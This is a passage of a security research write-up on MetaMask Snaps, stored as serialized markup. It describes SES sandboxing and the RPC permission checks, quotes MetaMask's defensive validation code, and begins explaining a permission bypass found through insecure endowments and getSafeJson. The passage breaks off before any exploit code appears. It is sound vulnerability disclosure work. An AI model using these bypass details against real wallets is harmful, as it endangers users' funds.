snapModule);\n});\n",[37940],{"type":23,"tag":37,"props":37941,"children":37942},{"__ignoreMap":7},[37943,37984,38013,38050],{"type":23,"tag":41,"props":37944,"children":37945},{"class":43,"line":44},[37946,37950,37954,37958,37963,37967,37971,37976,37980],{"type":23,"tag":41,"props":37947,"children":37948},{"style":58},[37949],{"type":28,"value":32909},{"type":23,"tag":41,"props":37951,"children":37952},{"style":64},[37953],{"type":28,"value":35711},{"type":23,"tag":41,"props":37955,"children":37956},{"style":70},[37957],{"type":28,"value":706},{"type":23,"tag":41,"props":37959,"children":37960},{"style":114},[37961],{"type":28,"value":37962},"executeInSnapContext",{"type":23,"tag":41,"props":37964,"children":37965},{"style":70},[37966],{"type":28,"value":1737},{"type":23,"tag":41,"props":37968,"children":37969},{"style":858},[37970],{"type":28,"value":36015},{"type":23,"tag":41,"props":37972,"children":37973},{"style":70},[37974],{"type":28,"value":37975},", () ",{"type":23,"tag":41,"props":37977,"children":37978},{"style":64},[37979],{"type":28,"value":14813},{"type":23,"tag":41,"props":37981,"children":37982},{"style":70},[37983],{"type":28,"value":102},{"type":23,"tag":41,"props":37985,"children":37986},{"class":43,"line":54},[37987,37992,37996,38000,38004,38009],{"type":23,"tag":41,"props":37988,"children":37989},{"style":858},[37990],{"type":28,"value":37991},"    compartment",{"type":23,"tag":41,"props":37993,"children":37994},{"style":70},[37995],{"type":28,"value":706},{"type":23,"tag":41,"props":37997,"children":37998},{"style":114},[37999],{"type":28,"value":2573},{"type":23,"tag":41,"props":38001,"children":38002},{"style":70},[38003],{"type":28,"value":1737},{"type":23,"tag":41,"props":38005,"children":38006},{"style":858},[38007],{"type":28,"value":38008},"sourceCode",{"type":23,"tag":41,"props":38010,"children":38011},{"style":70},[38012],{"type":28,"value":3825},{"type":23,"tag":41,"props":38014,"children":38015},{"class":43,"line":76},[38016,38020,38024,38029,38033,38037,38041,38046],{"type":23,"tag":41,"props":38017,"children":38018},{"style":64},[38019],{"type":28,"value":36059},{"type":23,"tag":41,"props":38021,"children":38022},{"style":70},[38023],{"type":28,"value":706},{"type":23,"tag":41,"props":38025,"children":38026},{"style":114},[38027],{"type":28,"value":38028},"registerSnapExports",{"type":23,"tag":41,"props":38030,"children":38031},{"style":70},[38032],{"type":28,"value":1737},{"type":23,"tag":41,"props":38034,"children":38035},{"style":858},[38036],{"type":28,"value":36015},{"type":23,"tag":41,"props":38038,"children":38039},{"style":70},[38040],{"type":28,"value":970},{"type":23,"tag":41,"props":38042,"children":38043},{"style":858},[38044],{"type":28,"value":38045},"snapModule",{"type":23,"tag":41,"props":38047,"children":38048},{"style":70},[38049],{"type":28,"value":3825},{"type":23,"tag":41,"props":38051,"children":38052},{"class":43,"line":85},[38053],{"type":23,"tag":41,"props":38054,"children":38055},{"style":70},[38056],{"type":28,"value":35332},{"type":23,"tag":24,"props":38058,"children":38059},{},[38060,38062,38068,38069,38075,38076,38082],{"type":28,"value":38061},"According to the documentation, the snap must contain one of the following function exports: ",{"type":23,"tag":37,"props":38063,"children":38065},{"className":38064},[],[38066],{"type":28,"value":38067},"onRpcRequest",{"type":28,"value":970},{"type":23,"tag":37,"props":38070,"children":38072},{"className":38071},[],[38073],{"type":28,"value":38074},"onTransaction",{"type":28,"value":13129},{"type":23,"tag":37,"props":38077,"children":38079},{"className":38078},[],[38080],{"type":28,"value":38081},"onCronjob",{"type":28,"value":706},{"type":23,"tag":24,"props":38084,"children":38085},{},[38086,38088,38093],{"type":28,"value":38087},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":23,"tag":37,"props":38089,"children":38091},{"className":38090},[],[38092],{"type":28,"value":37412},{"type":28,"value":38094}," environment of that Compartment.",{"type":23,"tag":24,"props":38096,"children":38097},{},[38098],{"type":28,"value":38099},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":23,"tag":446,"props":38101,"children":38103},{"id":38102},"vulnerability-research",[38104],{"type":28,"value":38105},"Vulnerability research",{"type":23,"tag":546,"props":38107,"children":38109},{"id":38108},"possible-attacks",[38110],{"type":28,"value":38111},"Possible attacks",{"type":23,"tag":24,"props":38113,"children":38114},{},[38115],{"type":28,"value":38116},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":23,"tag":417,"props":38118,"children":38119},{},[38120,38125,38130,38135],{"type":23,"tag":421,"props":38121,"children":38122},{},[38123],{"type":28,"value":38124},"Broken SES Container isolation",{"type":23,"tag":421,"props":38126,"children":38127},{},[38128],{"type":28,"value":38129},"Insecure endowments in Containers",{"type":23,"tag":421,"props":38131,"children":38132},{},[38133],{"type":28,"value":38134},"Incorrect RPC permission checks",{"type":23,"tag":421,"props":38136,"children":38137},{},[38138],{"type":28,"value":38139},"Insecure snap installation/update",{"type":23,"tag":24,"props":38141,"children":38142},{},[38143],{"type":28,"value":38144},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":23,"tag":24,"props":38146,"children":38147},{},[38148],{"type":28,"value":38149},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":23,"tag":546,"props":38151,"children":38153},{"id":38152},"rpc-interfaces-endowments",[38154],{"type":28,"value":38155},"RPC interfaces endowments",{"type":23,"tag":18881,"props":38157,"children":38159},{"id":38158},"providers-limitations",[38160],{"type":28,"value":38161},"Providers limitations",{"type":23,"tag":24,"props":38163,"children":38164},{},[38165,38167,38173,38174,38179,38181,38188],{"type":28,"value":38166},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":23,"tag":37,"props":38168,"children":38170},{"className":38169},[],[38171],{"type":28,"value":38172},"snap",{"type":28,"value":1361},{"type":23,"tag":37,"props":38175,"children":38177},{"className":38176},[],[38178],{"type":28,"value":31411},{"type":28,"value":38180}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":23,"tag":458,"props":38182,"children":38185},{"href":38183,"rel":38184},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[462],[38186],{"type":28,"value":38187},"methods",{"type":28,"value":1474},{"type":23,"tag":31,"props":38190,"children":38192},{"className":35608,"code":38191,"language":35610,"meta":7,"style":7},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[38193],{"type":23,"tag":37,"props":38194,"children":38195},{"__ignoreMap":7},[38196,38235,38243,38255,38325,38386,38398,38406,38417,38457,38487,38499,38524,38531,38539,38546,38584],{"type":23,"tag":41,"props":38197,"children":38198},{"class":43,"line":44},[38199,38204,38208,38213,38217,38222,38226,38231],{"type":23,"tag":41,"props":38200,"children":38201},{"style":58},[38202],{"type":28,"value":38203},"export",{"type":23,"tag":41,"props":38205,"children":38206},{"style":64},[38207],{"type":28,"value":669},{"type":23,"tag":41,"props":38209,"children":38210},{"style":114},[38211],{"type":28,"value":38212}," assertSnapOutboundRequest",{"type":23,"tag":41,"props":38214,"children":38215},{"style":70},[38216],{"type":28,"value":1737},{"type":23,"tag":41,"props":38218,"children":38219},{"style":858},[38220],{"type":28,"value":38221},"args",{"type":23,"tag":41,"props":38223,"children":38224},{"style":170},[38225],{"type":28,"value":1474},{"type":23,"tag":41,"props":38227,"children":38228},{"style":94},[38229],{"type":28,"value":38230}," RequestArguments",{"type":23,"tag":41,"props":38232,"children":38233},{"style":70},[38234],{"type":28,"value":152},{"type":23,"tag":41,"props":38236,"children":38237},{"class":43,"line":54},[38238],{"type":23,"tag":41,"props":38239,"children":38240},{"style":48},[38241],{"type":28,"value":38242},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":23,"tag":41,"props":38244,"children":38245},{"class":43,"line":76},[38246,38251],{"type":23,"tag":41,"props":38247,"children":38248},{"style":114},[38249],{"type":28,"value":38250},"  assert",{"type":23,"tag":41,"props":38252,"children":38253},{"style":70},[38254],{"type":28,"value":3461},{"type":23,"tag":41,"props":38256,"children":38257},{"class":43,"line":85},[38258,38263,38267,38272,38276,38281,38285,38290,38294,38298,38302,38307,38311,38316,38320],{"type":23,"tag":41,"props":38259,"children":38260},{"style":94},[38261],{"type":28,"value":38262},"    String",{"type":23,"tag":41,"props":38264,"children":38265},{"style":70},[38266],{"type":28,"value":706},{"type":23,"tag":41,"props":38268,"children":38269},{"style":858},[38270],{"type":28,"value":38271},"prototype",{"type":23,"tag":41,"props":38273,"children":38274},{"style":70},[38275],{"type":28,"value":706},{"type":23,"tag":41,"props":38277,"children":38278},{"style":858},[38279],{"type":28,"value":38280},"startsWith",{"type":23,"tag":41,"props":38282,"children":38283},{"style":70},[38284],{"type":28,"value":706},{"type":23,"tag":41,"props":38286,"children":38287},{"style":114},[38288],{"type":28,"value":38289},"call",{"type":23,"tag":41,"props":38291,"children":38292},{"style":70},[38293],{"type":28,"value":1737},{"type":23,"tag":41,"props":38295,"children":38296},{"style":858},[38297],{"type":28,"value":38221},{"type":23,"tag":41,"props":38299,"children":38300},{"style":70},[38301],{"type":28,"value":706},{"type":23,"tag":41,"props":38303,"children":38304},{"style":858},[38305],{"type":28,"value":38306},"method",{"type":23,"tag":41,"props":38308,"children":38309},{"style":70},[38310],{"type":28,"value":970},{"type":23,"tag":41,"props":38312,"children":38313},{"style":735},[38314],{"type":28,"value":38315},"'wallet_'",{"type":23,"tag":41,"props":38317,"children":38318},{"style":70},[38319],{"type":28,"value":866},{"type":23,"tag":41,"props":38321,"children":38322},{"style":170},[38323],{"type":28,"value":38324},"||\n",{"type":23,"tag":41,"props":38326,"children":38327},{"class":43,"line":105},[38328,38333,38337,38341,38345,38349,38353,38357,38361,38365,38369,38373,38377,38382],{"type":23,"tag":41,"props":38329,"children":38330},{"style":94},[38331],{"type":28,"value":38332},"      String",{"type":23,"tag":41,"props":38334,"children":38335},{"style":70},[38336],{"type":28,"value":706},{"type":23,"tag":41,"props":38338,"children":38339},{"style":858},[38340],{"type":28,"value":38271},{"type":23,"tag":41,"props":38342,"children":38343},{"style":70},[38344],{"type":28,"value":706},{"type":23,"tag":41,"props":38346,"children":38347},{"style":858},[38348],{"type":28,"value":38280},{"type":23,"tag":41,"props":38350,"children":38351},{"style":70},[38352],{"type":28,"value":706},{"type":23,"tag":41,"props":38354,"children":38355},{"style":114},[38356],{"type":28,"value":38289},{"type":23,"tag":41,"props":38358,"children":38359},{"style":70},[38360],{"type":28,"value":1737},{"type":23,"tag":41,"props":38362,"children":38363},{"style":858},[38364],{"type":28,"value":38221},{"type":23,"tag":41,"props":38366,"children":38367},{"style":70},[38368],{"type":28,"value":706},{"type":23,"tag":41,"props":38370,"children":38371},{"style":858},[38372],{"type":28,"value":38306},{"type":23,"tag":41,"props":38374,"children":38375},{"style":70},[38376],{"type":28,"value":970},{"type":23,"tag":41,"props":38378,"children":38379},{"style":735},[38380],{"type":28,"value":38381},"'snap_'",{"type":23,"tag":41,"props":38383,"children":38384},{"style":70},[38385],{"type":28,"value":6735},{"type":23,"tag":41,"props":38387,"children":38388},{"class":43,"line":155},[38389,38394],{"type":23,"tag":41,"props":38390,"children":38391},{"style":735},[38392],{"type":28,"value":38393},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":23,"tag":41,"props":38395,"children":38396},{"style":70},[38397],{"type":28,"value":3506},{"type":23,"tag":41,"props":38399,"children":38400},{"class":43,"line":186},[38401],{"type":23,"tag":41,"props":38402,"children":38403},{"style":70},[38404],{"type":28,"value":38405},"  );\n",{"type":23,"tag":41,"props":38407,"children":38408},{"class":43,"line":195},[38409,38413],{"type":23,"tag":41,"props":38410,"children":38411},{"style":114},[38412],{"type":28,"value":38250},{"type":23,"tag":41,"props":38414,"children":38415},{"style":70},[38416],{"type":28,"value":3461},{"type":23,"tag":41,"props":38418,"children":38419},{"class":43,"line":905},[38420,38424,38429,38433,38437,38441,38445,38449,38453],{"type":23,"tag":41,"props":38421,"children":38422},{"style":170},[38423],{"type":28,"value":20957},{"type":23,"tag":41,"props":38425,"children":38426},{"style":858},[38427],{"type":28,"value":38428},"BLOCKED_RPC_METHODS",{"type":23,"tag":41,"props":38430,"children":38431},{"style":70},[38432],{"type":28,"value":706},{"type":23,"tag":41,"props":38434,"children":38435},{"style":114},[38436],{"type":28,"value":35175},{"type":23,"tag":41,"props":38438,"children":38439},{"style":70},[38440],{"type":28,"value":1737},{"type":23,"tag":41,"props":38442,"children":38443},{"style":858},[38444],{"type":28,"value":38221},{"type":23,"tag":41,"props":38446,"children":38447},{"style":70},[38448],{"type":28,"value":706},{"type":23,"tag":41,"props":38450,"children":38451},{"style":858},[38452],{"type":28,"value":38306},{"type":23,"tag":41,"props":38454,"children":38455},{"style":70},[38456],{"type":28,"value":6735},{"type":23,"tag":41,"props":38458,"children":38459},{"class":43,"line":922},[38460,38465,38469,38474,38478,38483],{"type":23,"tag":41,"props":38461,"children":38462},{"style":858},[38463],{"type":28,"value":38464},"    ethErrors",{"type":23,"tag":41,"props":38466,"children":38467},{"style":70},[38468],{"type":28,"value":706},{"type":23,"tag":41,"props":38470,"children":38471},{"style":858},[38472],{"type":28,"value":38473},"rpc",{"type":23,"tag":41,"props":38475,"children":38476},{"style":70},[38477],{"type":28,"value":706},{"type":23,"tag":41,"props":38479,"children":38480},{"style":114},[38481],{"type":28,"value":38482},"methodNotFound",{"type":23,"tag":41,"props":38484,"children":38485},{"style":70},[38486],{"type":28,"value":15132},{"type":23,"tag":41,"props":38488,"children":38489},{"class":43,"line":930},[38490,38495],{"type":23,"tag":41,"props":38491,"children":38492},{"style":858},[38493],{"type":28,"value":38494},"      data:",{"type":23,"tag":41,"props":38496,"children":38497},{"style":70},[38498],{"type":28,"value":102},{"type":23,"tag":41,"props":38500,"children":38501},{"class":43,"line":939},[38502,38507,38512,38516,38520],{"type":23,"tag":41,"props":38503,"children":38504},{"style":858},[38505],{"type":28,"value":38506},"        method:",{"type":23,"tag":41,"props":38508,"children":38509},{"style":858},[38510],{"type":28,"value":38511}," args",{"type":23,"tag":41,"props":38513,"children":38514},{"style":70},[38515],{"type":28,"value":706},{"type":23,"tag":41,"props":38517,"children":38518},{"style":858},[38519],{"type":28,"value":38306},{"type":23,"tag":41,"props":38521,"children":38522},{"style":70},[38523],{"type":28,"value":3506},{"type":23,"tag":41,"props":38525,"children":38526},{"class":43,"line":947},[38527],{"type":23,"tag":41,"props":38528,"children":38529},{"style":70},[38530],{"type":28,"value":37194},{"type":23,"tag":41,"props":38532,"children":38533},{"class":43,"line":985},[38534],{"type":23,"tag":41,"props":38535,"children":38536},{"style":70},[38537],{"type":28,"value":38538},"    }),\n",{"type":23,"tag":41,"props":38540,"children":38541},{"class":43,"line":1058},[38542],{"type":23,"tag":41,"props":38543,"children":38544},{"style":70},[38545],{"type":28,"value":38405},{"type":23,"tag":41,"props":38547,"children":38548},{"class":43,"line":1084},[38549,38554,38558,38562,38566,38571,38575,38580],{"type":23,"tag":41,"props":38550,"children":38551},{"style":114},[38552],{"type":28,"value":38553},"  assertStruct",{"type":23,"tag":41,"props":38555,"children":38556},{"style":70},[38557],{"type":28,"value":1737},{"type":23,"tag":41,"props":38559,"children":38560},{"style":858},[38561],{"type":28,"value":38221},{"type":23,"tag":41,"props":38563,"children":38564},{"style":70},[38565],{"type":28,"value":970},{"type":23,"tag":41,"props":38567,"children":38568},{"style":858},[38569],{"type":28,"value":38570},"JsonStruct",{"type":23,"tag":41,"props":38572,"children":38573},{"style":70},[38574],{"type":28,"value":970},{"type":23,"tag":41,"props":38576,"children":38577},{"style":735},[38578],{"type":28,"value":38579},"'Provided value is not JSON-RPC compatible'",{"type":23,"tag":41,"props":38581,"children":38582},{"style":70},[38583],{"type":28,"value":3825},{"type":23,"tag":41,"props":38585,"children":38586},{"class":43,"line":1102},[38587],{"type":23,"tag":41,"props":38588,"children":38589},{"style":70},[38590],{"type":28,"value":201},{"type":23,"tag":24,"props":38592,"children":38593},{},[38594,38596,38601,38603,38609,38610,38616],{"type":28,"value":38595},"This function is called by the ",{"type":23,"tag":37,"props":38597,"children":38599},{"className":38598},[],[38600],{"type":28,"value":38172},{"type":28,"value":38602}," RPC provider, so it can only send methods starting with ",{"type":23,"tag":37,"props":38604,"children":38606},{"className":38605},[],[38607],{"type":28,"value":38608},"wallet_",{"type":28,"value":13129},{"type":23,"tag":37,"props":38611,"children":38613},{"className":38612},[],[38614],{"type":28,"value":38615},"snap_",{"type":28,"value":38617},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":23,"tag":24,"props":38619,"children":38620},{},[38621,38623,38628,38630,38635,38637,38643],{"type":28,"value":38622},"On the other hand, the ",{"type":23,"tag":37,"props":38624,"children":38626},{"className":38625},[],[38627],{"type":28,"value":31411},{"type":28,"value":38629}," provider only blocks methods starting with ",{"type":23,"tag":37,"props":38631,"children":38633},{"className":38632},[],[38634],{"type":28,"value":38615},{"type":28,"value":38636}," and the blocked methods. However, it requires the ",{"type":23,"tag":37,"props":38638,"children":38640},{"className":38639},[],[38641],{"type":28,"value":38642},"endowment:ethereum-provider",{"type":28,"value":38644}," permission in the snap manifest.",{"type":23,"tag":18881,"props":38646,"children":38648},{"id":38647},"execution-flow",[38649],{"type":28,"value":38650},"Execution flow",{"type":23,"tag":24,"props":38652,"children":38653},{},[38654,38656,38661,38662,38667,38669,38674,38675,38681],{"type":28,"value":38655},"Both providers (",{"type":23,"tag":37,"props":38657,"children":38659},{"className":38658},[],[38660],{"type":28,"value":38172},{"type":28,"value":1361},{"type":23,"tag":37,"props":38663,"children":38665},{"className":38664},[],[38666],{"type":28,"value":31411},{"type":28,"value":38668},") are built outside the SES container with a ",{"type":23,"tag":37,"props":38670,"children":38672},{"className":38671},[],[38673],{"type":28,"value":31487},{"type":28,"value":6456},{"type":23,"tag":458,"props":38676,"children":38679},{"href":38677,"rel":38678},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[462],[38680],{"type":28,"value":31371},{"type":28,"value":1474},{"type":23,"tag":31,"props":38683,"children":38685},{"className":35925,"code":38684,"language":35927,"meta":7,"style":7},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[38686],{"type":23,"tag":37,"props":38687,"children":38688},{"__ignoreMap":7},[38689,38736,38761,38794,38829,38841,38861,38899,38919,38926,38943,38976,38983],{"type":23,"tag":41,"props":38690,"children":38691},{"class":43,"line":44},[38692,38696,38700,38704,38708,38712,38716,38720,38724,38728,38732],{"type":23,"tag":41,"props":38693,"children":38694},{"style":64},[38695],{"type":28,"value":36183},{"type":23,"tag":41,"props":38697,"children":38698},{"style":114},[38699],{"type":28,"value":31376},{"type":23,"tag":41,"props":38701,"children":38702},{"style":170},[38703],{"type":28,"value":3017},{"type":23,"tag":41,"props":38705,"children":38706},{"style":64},[38707],{"type":28,"value":36360},{"type":23,"tag":41,"props":38709,"children":38710},{"style":70},[38711],{"type":28,"value":142},{"type":23,"tag":41,"props":38713,"children":38714},{"style":858},[38715],{"type":28,"value":38221},{"type":23,"tag":41,"props":38717,"children":38718},{"style":170},[38719],{"type":28,"value":1474},{"type":23,"tag":41,"props":38721,"children":38722},{"style":94},[38723],{"type":28,"value":38230},{"type":23,"tag":41,"props":38725,"children":38726},{"style":70},[38727],{"type":28,"value":866},{"type":23,"tag":41,"props":38729,"children":38730},{"style":64},[38731],{"type":28,"value":14813},{"type":23,"tag":41,"props":38733,"children":38734},{"style":70},[38735],{"type":28,"value":102},{"type":23,"tag":41,"props":38737,"children":38738},{"class":43,"line":54},[38739,38744,38748,38752,38756],{"type":23,"tag":41,"props":38740,"children":38741},{"style":114},[38742],{"type":28,"value":38743},"      assertSnapOutboundRequest",{"type":23,"tag":41,"props":38745,"children":38746},{"style":70},[38747],{"type":28,"value":1737},{"type":23,"tag":41,"props":38749,"children":38750},{"style":858},[38751],{"type":28,"value":38221},{"type":23,"tag":41,"props":38753,"children":38754},{"style":70},[38755],{"type":28,"value":28353},{"type":23,"tag":41,"props":38757,"children":38758},{"style":48},[38759],{"type":28,"value":38760},"// or assertEthereumOutboundRequest(args);\n",{"type":23,"tag":41,"props":38762,"children":38763},{"class":43,"line":76},[38764,38768,38773,38777,38782,38786,38790],{"type":23,"tag":41,"props":38765,"children":38766},{"style":64},[38767],{"type":28,"value":31541},{"type":23,"tag":41,"props":38769,"children":38770},{"style":858},[38771],{"type":28,"value":38772}," sanitizedArgs",{"type":23,"tag":41,"props":38774,"children":38775},{"style":170},[38776],{"type":28,"value":3017},{"type":23,"tag":41,"props":38778,"children":38779},{"style":114},[38780],{"type":28,"value":38781}," getSafeJson",{"type":23,"tag":41,"props":38783,"children":38784},{"style":70},[38785],{"type":28,"value":1737},{"type":23,"tag":41,"props":38787,"children":38788},{"style":858},[38789],{"type":28,"value":38221},{"type":23,"tag":41,"props":38791,"children":38792},{"style":70},[38793],{"type":28,"value":3825},{"type":23,"tag":41,"props":38795,"children":38796},{"class":43,"line":85},[38797,38802,38806,38811,38815,38819,38824],{"type":23,"tag":41,"props":38798,"children":38799},{"style":64},[38800],{"type":28,"value":38801},"      this",{"type":23,"tag":41,"props":38803,"children":38804},{"style":70},[38805],{"type":28,"value":706},{"type":23,"tag":41,"props":38807,"children":38808},{"style":114},[38809],{"type":28,"value":38810},"notify",{"type":23,"tag":41,"props":38812,"children":38813},{"style":70},[38814],{"type":28,"value":31492},{"type":23,"tag":41,"props":38816,"children":38817},{"style":858},[38818],{"type":28,"value":31497},{"type":23,"tag":41,"props":38820,"children":38821},{"style":735},[38822],{"type":28,"value":38823}," 'OutboundRequest'",{"type":23,"tag":41,"props":38825,"children":38826},{"style":70},[38827],{"type":28,"value":38828}," });\n",{"type":23,"tag":41,"props":38830,"children":38831},{"class":43,"line":105},[38832,38837],{"type":23,"tag":41,"props":38833,"children":38834},{"style":58},[38835],{"type":28,"value":38836},"      try",{"type":23,"tag":41,"props":38838,"children":38839},{"style":70},[38840],{"type":28,"value":102},{"type":23,"tag":41,"props":38842,"children":38843},{"class":43,"line":155},[38844,38848,38852,38857],{"type":23,"tag":41,"props":38845,"children":38846},{"style":58},[38847],{"type":28,"value":161},{"type":23,"tag":41,"props":38849,"children":38850},{"style":58},[38851],{"type":28,"value":36206},{"type":23,"tag":41,"props":38853,"children":38854},{"style":114},[38855],{"type":28,"value":38856}," withTeardown",{"type":23,"tag":41,"props":38858,"children":38859},{"style":70},[38860],{"type":28,"value":3461},{"type":23,"tag":41,"props":38862,"children":38863},{"class":43,"line":186},[38864,38869,38873,38878,38882,38887,38891,38895],{"type":23,"tag":41,"props":38865,"children":38866},{"style":114},[38867],{"type":28,"value":38868},"          originalRequest",{"type":23,"tag":41,"props":38870,"children":38871},{"style":70},[38872],{"type":28,"value":1737},{"type":23,"tag":41,"props":38874,"children":38875},{"style":858},[38876],{"type":28,"value":38877},"sanitizedArgs",{"type":23,"tag":41,"props":38879,"children":38880},{"style":58},[38881],{"type":28,"value":8825},{"type":23,"tag":41,"props":38883,"children":38884},{"style":94},[38885],{"type":28,"value":38886}," unknown",{"type":23,"tag":41,"props":38888,"children":38889},{"style":58},[38890],{"type":28,"value":8825},{"type":23,"tag":41,"props":38892,"children":38893},{"style":94},[38894],{"type":28,"value":38230},{"type":23,"tag":41,"props":38896,"children":38897},{"style":70},[38898],{"type":28,"value":6735},{"type":23,"tag":41,"props":38900,"children":38901},{"class":43,"line":195},[38902,38907,38911,38915],{"type":23,"tag":41,"props":38903,"children":38904},{"style":64},[38905],{"type":28,"value":38906},"          this",{"type":23,"tag":41,"props":38908,"children":38909},{"style":58},[38910],{"type":28,"value":8825},{"type":23,"tag":41,"props":38912,"children":38913},{"style":94},[38914],{"type":28,"value":10356},{"type":23,"tag":41,"props":38916,"children":38917},{"style":70},[38918],{"type":28,"value":3506},{"type":23,"tag":41,"props":38920,"children":38921},{"class":43,"line":905},[38922],{"type":23,"tag":41,"props":38923,"children":38924},{"style":70},[38925],{"type":28,"value":7743},{"type":23,"tag":41,"props":38927,"children":38928},{"class":43,"line":922},[38929,38934,38939],{"type":23,"tag":41,"props":38930,"children":38931},{"style":70},[38932],{"type":28,"value":38933},"      } ",{"type":23,"tag":41,"props":38935,"children":38936},{"style":58},[38937],{"type":28,"value":38938},"finally",{"type":23,"tag":41,"props":38940,"children":38941},{"style":70},[38942],{"type":28,"value":102},{"type":23,"tag":41,"props":38944,"children":38945},{"class":43,"line":930},[38946,38951,38955,38959,38963,38967,38972],{"type":23,"tag":41,"props":38947,"children":38948},{"style":64},[38949],{"type":28,"value":38950},"        this",{"type":23,"tag":41,"props":38952,"children":38953},{"style":70},[38954],{"type":28,"value":706},{"type":23,"tag":41,"props":38956,"children":38957},{"style":114},[38958],{"type":28,"value":38810},{"type":23,"tag":41,"props":38960,"children":38961},{"style":70},[38962],{"type":28,"value":31492},{"type":23,"tag":41,"props":38964,"children":38965},{"style":858},[38966],{"type":28,"value":31497},{"type":23,"tag":41,"props":38968,"children":38969},{"style":735},[38970],{"type":28,"value":38971}," 'OutboundResponse'",{"type":23,"tag":41,"props":38973,"children":38974},{"style":70},[38975],{"type":28,"value":38828},{"type":23,"tag":41,"props":38977,"children":38978},{"class":43,"line":939},[38979],{"type":23,"tag":41,"props":38980,"children":38981},{"style":70},[38982],{"type":28,"value":12659},{"type":23,"tag":41,"props":38984,"children":38985},{"class":43,"line":947},[38986],{"type":23,"tag":41,"props":38987,"children":38988},{"style":70},[38989],{"type":28,"value":38990},"    };\n",{"type":23,"tag":24,"props":38992,"children":38993},{},[38994,38996,39001,39003,39008],{"type":28,"value":38995},"In particular, this function is from the ",{"type":23,"tag":37,"props":38997,"children":38999},{"className":38998},[],[39000],{"type":28,"value":38172},{"type":28,"value":39002}," provider, but the only thing that changes between this and ",{"type":23,"tag":37,"props":39004,"children":39006},{"className":39005},[],[39007],{"type":28,"value":31411},{"type":28,"value":39009}," is the assert function in the first line.",{"type":23,"tag":24,"props":39011,"children":39012},{},[39013],{"type":28,"value":39014},"As we can see in the code, the execution flow follows this pattern:",{"type":23,"tag":5436,"props":39016,"children":39017},{},[39018,39030,39035],{"type":23,"tag":421,"props":39019,"children":39020},{},[39021,39023,39028],{"type":28,"value":39022},"Assert if ",{"type":23,"tag":37,"props":39024,"children":39026},{"className":39025},[],[39027],{"type":28,"value":38221},{"type":28,"value":39029}," are valid",{"type":23,"tag":421,"props":39031,"children":39032},{},[39033],{"type":28,"value":39034},"getSafeJson to get sanitizedArgs",{"type":23,"tag":421,"props":39036,"children":39037},{},[39038],{"type":28,"value":39039},"originalRequest(sanitizedArgs)",{"type":23,"tag":24,"props":39041,"children":39042},{},[39043,39045,39051],{"type":28,"value":39044},"Obs: ",{"type":23,"tag":37,"props":39046,"children":39048},{"className":39047},[],[39049],{"type":28,"value":39050},"originalRequest",{"type":28,"value":39052}," makes the RPC call to metamask service worker",{"type":23,"tag":546,"props":39054,"children":39056},{"id":39055},"safe-json-exploit",[39057],{"type":28,"value":39058},"Safe JSON Exploit",{"type":23,"tag":24,"props":39060,"children":39061},{},[39062,39064,39070,39072,39077,39079,39085],{"type":28,"value":39063},"As we dug further into the",{"type":23,"tag":37,"props":39065,"children":39067},{"className":39066},[],[39068],{"type":28,"value":39069},"getSafeJson",{"type":28,"value":39071}," function (defined in ",{"type":23,"tag":37,"props":39073,"children":39075},{"className":39074},[],[39076],{"type":28,"value":37291},{"type":28,"value":39078}," package) we discovered the following ",{"type":23,"tag":458,"props":39080,"children":39083},{"href":39081,"rel":39082},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[462],[39084],{"type":28,"value":37},{"type":28,"value":1474},{"type":23,"tag":31,"props":39087,"children":39089},{"className":35608,"code":39088,"language":35610,"meta":7,"style":7},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[39090],{"type":23,"tag":37,"props":39091,"children":39092},{"__ignoreMap":7},[39093,39157,39184,39209,39264,39272,39319,39335,39342,39358,39365,39372],{"type":23,"tag":41,"props":39094,"children":39095},{"class":43,"line":44},[39096,39100,39105,39110,39114,39119,39123,39128,39132,39136,39141,39145,39149,39153],{"type":23,"tag":41,"props":39097,"children":39098},{"style":58},[39099],{"type":28,"value":38203},{"type":23,"tag":41,"props":39101,"children":39102},{"style":64},[39103],{"type":28,"value":39104}," const",{"type":23,"tag":41,"props":39106,"children":39107},{"style":858},[39108],{"type":28,"value":39109}," JsonStruct",{"type":23,"tag":41,"props":39111,"children":39112},{"style":170},[39113],{"type":28,"value":3017},{"type":23,"tag":41,"props":39115,"children":39116},{"style":114},[39117],{"type":28,"value":39118}," 